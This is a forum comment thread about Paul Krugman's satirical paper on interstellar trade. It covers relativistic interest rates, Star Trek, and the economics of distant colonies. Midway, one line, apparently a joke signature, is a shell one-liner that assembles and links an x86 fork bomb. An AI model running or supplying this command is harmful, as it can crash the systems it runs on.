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Paul Krugman's 1978 Theory of Interstellar Trade
jerryasher recommends Paul Krugman's blog at the NYTimes, where he introduces a paper he wrote, The Theory of Interstellar Trade, with tongue very much in cheek. Some packrat academician was kind enough to send him a scan, because "back then academics did their work with typewriters, abacuses, and stone axes." Abstract: This paper extends interplanetary trade theory to an interstellar setting. It is chiefly concerned with the following question: how should interest rates on goods in transit be computed when the goods travel at close to the speed of light? This is a problem because the time taken in transit will appear less to an observer traveling with the goods than to a stationary observer. A solution is derived from economic theory, and two useless but true theorems are proved... This paper, then, is a serious analysis of a ridiculous subject, which is of course the opposite of what is usual in economics."
As an aside, I'd suggest the example of aluminum. 200 years ago, someone might've suggested investing heavily in aluminum. After all, it was one of the most valuable metals in the world due to its scarcity. That person couldn't have seen Alcoa coming along, and the same goes for us and future technology. Who's to say what nanotechnology will be able to do in 200 years?
You'd be better of using the Independence Day model of interstellar economics, where a permanently spaceborne species arrives at a technologically less advanced planet, strips it bare and then moves on.
Indeed I've always thought that that's the way the Federation really worked in Star Trek. All the feel good stuff we see is just propaganda from inside the system like Starship Troopers was. If you really were a primitive species then the Enterprise would arrive for peaceful contact and leave. But it would send your coordinates and description of your planetary defences (i.e. none worth mentioning) back to the Federation. A bit later swarms of starships would arrive and your planet could be turned into more starships and any survivors could be reprogrammed to serve on them, which doesn't seem a very skilled job. People seem curiously inhuman too. My explanation is that they're not really people. Physically they are mostly human with a few aliens, but socially they are more like insects in a hive. They follow orders without question and work without payment and show little concern for their individual interests or safety. If they'd been programmed to do their job without any choice in the matter it would all make sense.
It explains why they don't have money, or politics, or arguments of any sort. In the best 1984 style of course they criticise the Borg for behaving like this because it's always useful to have an enemy. I suspect that it's not really necessary anymore of course since their drones have long since lost even the possibility even considering that the system they are in is anything other than totally benign.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Well, that may even be insightful -- in a wishful thinking kind of way, because nanotech won't work like you assume -- but it still solves the wrong problem entirely.
(And even then it doesn't necessarily solve it completely. A colony of robots can still spend most of its energy and resources just repairing the robots and building new ones, so that cost can still remain. Or worse yet, it may need more goods sent from Earth than some colonists would, because such robots would presumably be high tech and require lots of energy and a lot of different factories to produce. So it might still be cheaper to send a 20km ship full of colonists, which only need a couple of farms to live there.)
But, anyway, the thrust of TFA isn't "how do you build a colony for your people", but rather "how the F-word _do_ you make a profit out of it? Is interstellar trade even viable?" Even with robots, and without having to pay the crew or the producers anything because they're robots, you still face some non-trivial problems there.
E.g., ok, you put an order for, say, uranium from that far far colony. How do you know that you'll even still need it by the time you get it? How do you know that the price will still be OK?
If your colony is at, say, 10.5 light years away on Epsilon Eridani, or 12 light years away on Tau Ceti, and if you travel at half the speed of light average (accelerate to nearly C half the distance, then decelerate the other half), that's 31.5 and 36 light years respectively from the moment you sent the order by radio to the moment it lands on Earth. (10.5 or 12 years respectively for your signal to get there, 21 and 24 respectively for the ship to travel here.) That is, if they already have the mine and the surplus of that resource and everything. Otherwise you might have to wait more.
For farther away colonies, even more.
Historically there have been massive changes in demand within less time. Cloth went from a massive money-maker good to being "meh" to being outsourced to third world countries to produce. Coal was once _the_ fuel for any navy, and sometimes even (explicit or implied) military threat was used to open up markets to buy it from and coaling stations. (See Perry's expedition to Japan.) It took less than 30 years for everyone to switch to oil in their ships, and coal became of much less importance. Or once whale oil was the main lighting fuel, then some guy goes and discovers the light bulb. Grain was _the_ thing to have for millenia, and the wealth and military power of, say, Poland throughout the middle ages was based on being able to produce and export lots of it. Buggrit. Then it took less than a century for the bottom to fall off _that_ market, and nowadays the only countries which still have an agriculture are those who subsidize it. Etc.
It becomes even funnier if you want to build a colony for the explicit purpose of getting some goods from there. Let's say unobtanium wishalloy is the latest rage, you spot some unobtanium in the spectral line of a far away star, and plan to make a living out of it. Now you have the round trip increased by building those robots and waiting for that ship to get there, build the colony, get mining, and some time after 50 years or so you get your first shipment of it even for the nearest stars.
Will it still be needed? Will your company even still exist after so much time? What bank will give you a loan for that kind of thing?
And will your investors want your head rolling for that? Today's capitalism is obsessed by short term results, and thinks in quarters and years. (Maybe even justifiedly so.) Proposing to blow a huge chunk of money, with compound interest (one way or another: even if you have the money and don't take the loan, it must be judged against the interest you'd get if you just put that money in a bank and started _getting_ interest on it) on something which _might_ make you the big bucks in 50 years, will get Wall Street screaming for blood.
A polar bear is a cartesian bear after a coordinate transform.
I was just reading a piece on economics which termed 1000BC to 1800AD "The Flintstones" and 1800AD to the present "The Jetsons". It's only been a relatively short time period where the economy has grown (hence *changed* in material respects) so rapidly that 50-year investment cycles are hard to fathom.
Yes, it turns out that some forms of economic activity are hard to justify as we charge toward the looming technological singularity. something which _might_ make you the big bucks in 50 years, will get Wall Street screaming for blood Isn't that interesting? We have the attention span of an ADHD mayfly for raising capital, but we're happy to sit on our liabilities for hundreds of thousands of years.
http://en.wikipedia.org/wiki/Yucca_mountain
At some scale, common abstractions break down, such as your broad-brush of "subsidy" to the whole of global food production above. Some human endeavors are larger than the greed-loop in a Wall Street tycoon, who is, after all, merely engaged in a culturally shaped manifestation of his underlying biological drives.
The solution, obviously, is genetic engineering. One must first genetically alter the human population with biological drives compatible with 50-plus year investment cycles. In 50 to 100 years, a suitably modified humanity would support any length of transgalactic investment cycle you might wish to contemplate.
If you started with some Wikipedian root stock (barely qualifying as human as it stands), you could even set things up so that people compete for the opportunity to deliver your goods for free. Just be sure to suppress the "crow" complex, or they'll bring you back a cargo container filled with shiny lumps of carbon.